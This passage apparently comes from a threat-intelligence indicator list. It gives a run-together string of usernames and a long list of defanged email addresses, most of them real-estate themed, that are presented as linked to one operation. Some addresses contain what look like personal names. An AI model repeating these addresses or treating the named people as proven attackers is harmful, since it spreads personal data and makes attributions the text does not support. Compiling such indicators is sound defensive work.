agent11914maggiehomes68871mariastanfordakchz04029maximvaluehousings17477metronewhomes21319metropropertiesadvisor00082metropolitanhomesguide99492miamihouseconnect44257miroinvestmentstudio04977modernhomerealtor49536modernspacesrealty29477mohammedasnataliastashkiv.bsnewcitydealers94317newcityhomeadv90451newheightsrealtor83727newhousenexus82253newleafapartment50743newprimehomes70695newskyrealestate29771nextlevelproperties84193nexthomeadviser68116oakwoodpropertyteam97341opalqwntfqqp7270openhouserealestateagent27183palmhouserealestate02758pascaldevpeaksummitproperty81546peterandr345peterwood0912ponbok20251123premierhouseagent68861primehomesconnect12973primekeyrealtor09471primelocationagent63672prorealtyguide02229propertyadvisor36515278propertyconsultant48888propertygatewayexpert36994propertylistingexpert84712rapidhomebuyer24518realestateadvancer05390realestateconsult11470realestateconsultant78941realestateguidelily27361realestatepartnerz02814realestorxpress23477reddix505reedfowlerccoujricardoat1010richlandhousingsolutions81845richmondhomesales42214riverfrontproperties90177riverstoneagent17563rocksolidestate93364rooflinerealtor00821rootedlandagents77219royalestateconnect43449seasidehomesrealtor29486seasideviewrealtor08465seattlecityrealtor42890silvercityproperty05525silverlineproperty64209skylinehomeadvisor14961skylinehousesales62474smartchoicehousing24861smartcityhomes87496smartkeyhomes00728solidinvestments05572solidpropertyadvisor33345springtownhomes83379stardev0914suburbanhomeconnect16179summitpropertyagent07717sunnyvaleproperty44162sunnyviewhomes49110thecityhomesales97011tomas510727topchoicehomesconsult55882topflite4topflite5topkeyrealestate99241urbanhomefinder35266urbanlivingteam00074urbanpropertyguide43812valleyhomesguide14195victor510vitalcityhomes22591vrindalsethwestfieldhomeagent66414yorktownhomesales08111
Email Addresses
abigailzebrairses36717@outlook[.]comalexander0110825@outlook[.]comallenhand0101@outlook[.]comalphabrownsapon70555@hotmail[.]comamelievolcanobquvq06786@hotmail[.]comavaazaleaanwvk05883@outlook[.]comb22993172@gmail[.]combba719771@gmail[.]combizownership018@gmail[.]comblakegonzalezeamuh10473@hotmail[.]comblaziystankw1lcf@hotmail[.]combookcats1@freyaglam[.]shopborgdandeco@gmail[.]combrandonmistycqbcr06016@hotmail[.]combrightfuturescompany08462@outlook[.]combryceprojects78322@hotmail[.]combtwininvest02417@hotmail[.]combzuinvestorsclub82574@hotmail[.]comcharlieaffiliates22177@gmail[.]comcheaphomeseller55358@gmail[.]comchicagomrreid01317@gmail[.]comcitylivingagent99587@gmail[.]comcrimson72489@yahoo[.]comcygnusonyxxzbek89014@gmail[.]comdaniellequaranta3@yahoo[.]comdataflight38629@gmail[.]comdaveysellshomes47484@gmail[.]comdawsonspaces08839@gmail[.]comdazzlebitcorp62317@gmail[.]comdealmakersclub92647@outlook[.]comdevonventureinvest81368@gmail[.]comdhruvishah05828@outlook[.]comdigitalhomesales97117@gmail[.]comdmitrypetrov71155@outlook[.]comelitecapitalgroup08563@gmail[.]comemmahousingexpert87469@gmail[.]comemmawills02165@gmail[.]comeurekasales07505@gmail[.]comevergreenrealtyteam12469@gmail[.]comevergreenrealtor59192@gmail[.]comfasttrackhomes22444@gmail[.]comfirstchoicepropertyagent00182@gmail[.]comfrostlangleyzmmvy94489@outlook[.]comfuturegrowthhooger00277@gmail[.]comfuturehousefinder62139@gmail[.]comgddavila.tomas510727@outlook.comgreenhousebuyersclub77084@gmail[.]comgreenviewagent00541@gmail[.]comharborviewproperty07246@gmail[.]comhenrylynbunnh91@hotmail[.]comhomedealconnect81891@gmail[.]comhomesearchpro99483@gmail[.]comhomesolutionsnow95843@gmail[.]comhorizonpropertyteam88973@gmail[.]comhousehunterpro12888@gmail[.]cominvestcereal91863@gmail[.]cominvestdreamz34518@gmail[.]cominvestgrowthplanner16529@gmail[.]comjasonhomesales01207@gmail[.]comjohnmarston39482@gmail[.]comkevinspace09495@gmail[.]comkeycityagent64977@gmail[.]comkeycityrealtor98521@gmail[.]comkeystonenashynoum95584@outlook[.]comkievrelationmanager07992@gmail[.]comknightjenkinsybtec90710@outlook[.]comkrauszsenff3pkph@hotmail[.]comlandmarkhomesconsult33423@gmail[.]comlandscapeinvestor00913@gmail[.]comlauradrwh@gmail[.]comlendingcrafters51867@gmail[.]comlillihousingagent83183@gmail[.]comlisaselingreen56157@gmail[.]comlondonhomesmartagent36691@gmail[.]comlondonpropertyagent33861@gmail[.]comlondonpropertyguide27011@gmail[.]comluxuryhomebroker77429@gmail[.]comluxuryprimeagent11914@gmail[.]commaggiehomes68871@gmail[.]commariastanfordakchz04029@hotmail[.]commaximvaluehousings17477@gmail[.]commetronewhomes21319@gmail[.]commetropropertiesadvisor00082@gmail[.]commetropolitanhomesguide99492@gmail[.]commiamihouseconnect44257@gmail[.]commiroinvestmentstudio04977@gmail[.]commodernhomerealtor49536@gmail[.]commodernspacesrealty29477@gmail[.]commohammedas517@outlook[.]comnataliastashkiv.bs@outlook[.]comnewcitydealers94317@gmail[.]comnewcityhomeadv90451@gmail[.]comnewheightsrealtor83727@gmail[.]comnewhousenexus82253@gmail[.]comnewleafapartment50743@gmail[.]comnewprimehomes70695@gmail[.]comnewskyrealestate29771@gmail[.]comnextlevelproperties84193@gmail[.]comnexthomeadviser68116@gmail[.]comoakwoodpropertyteam97341@gmail[.]comopalqwntfqqp7270@outlook[.]comopenhouserealestateagent27183@gmail[.]compalmhouserealestate02758@gmail[.]compeaksummitproperty81546@gmail[.]competerandr345@gmail[.]componbok20251123@outlook[.]compremierhouseagent68861@gmail[.]comprimehomesconnect12973@gmail[.]comprimekeyrealtor09471@gmail[.]comprimelocationagent63672@gmail[.]comprorealtyguide02229@gmail[.]compropertyadvisor36515278@gmail[.]compropertyconsultant48888@gmail[.]compropertygatewayexpert36994@gmail[.]compropertylistingexpert84712@gmail[.]comrapidhomebuyer24518@gmail[.]comrealestateadvancer05390@gmail[.]comrealestateconsult11470@gmail[.]comrealestateconsultant78941@gmail[.]comrealestateguidelily27361@gmail[.]comrealestatepartnerz02814@gmail[.]comrealestorxpress23477@gmail[.]comreddixyxzh551438@hotmail[.]comricardo.a.t.1010@outlook[.]comrichlandhousingsolutions81845@gmail[.]comrichmondhomesales42214@gmail[.]comriverfrontproperties90177@gmail[.]comriverstoneagent17563@gmail[.]comrocksolidestate93364@gmail[.]comrooflinerealtor00821@gmail[.]comrootedlandagents77219@gmail[.]comroyalestateconnect43449@gmail[.]comseasidehomesrealtor29486@gmail[.]comseasideviewrealtor08465@gmail[.]comseattlecityrealtor42890@gmail[.]comsilvercityproperty05525@gmail[.]comsilverlineproperty64209@gmail[.]comskylinehomeadvisor14961@gmail[.]comskylinehousesales62474@gmail[.]comsmartchoicehousing24861@gmail[.]comsmartcityhomes87496@gmail[.]comsmartkeyhomes00728@gmail[.]comsolidinvestments05572@gmail[.]comsolidpropertyadvisor33345@gmail[.]comspringtownhomes83379@gmail[.]comstard8447@gmail[.]comsuburbanhomeconnect16179@gmail[.]comsummitpropertyagent07717@gmail[.]comsunnyvaleproperty44162@gmail[.]comsunnyviewhomes49110@gmail[.]comthecityhomesales97011@gmail[.]comtopchoicehomesconsult55882@gmail[.]comtopflite5@freyaglam[.]shoptopkeyrealestate99241@gmail[.]comurbanhomefinder35266@gmail[.]comurbanlivingteam00074@gmail[.]comurbanpropertyguide43812@gmail[.]comvalleyhomesguide14195@gmail[.]comvictormolonna510727@outlook[.]comvitalcityhomes22591@gmail[.]comwestfieldhomeagent66414@gmail[.]comyorktownhomesales08111@gmail[.]comyuleyuccaxoiqw85368@outlook[.]combohdanstashkiv.bs@outlook[.]combrimstoneinkwellwugke88241@outlook[.]comedisonrippin@outlook[.]comerbanfceraswud8px@hotmail[.]comJonathonF1010@outlook[.]comkhardenjenna510727@outlook[.]comkukurudza339@gmail[.]comleowestbcqni01653@outlook[.]compascaldev0921@outlook[.]comreedfowlerccouj11583@hotmail[.]comtopflite4@freyaglam[.]shopvrindalseth@gmail[.]comyelyzavetazaporozhtseva@gmail[.]com
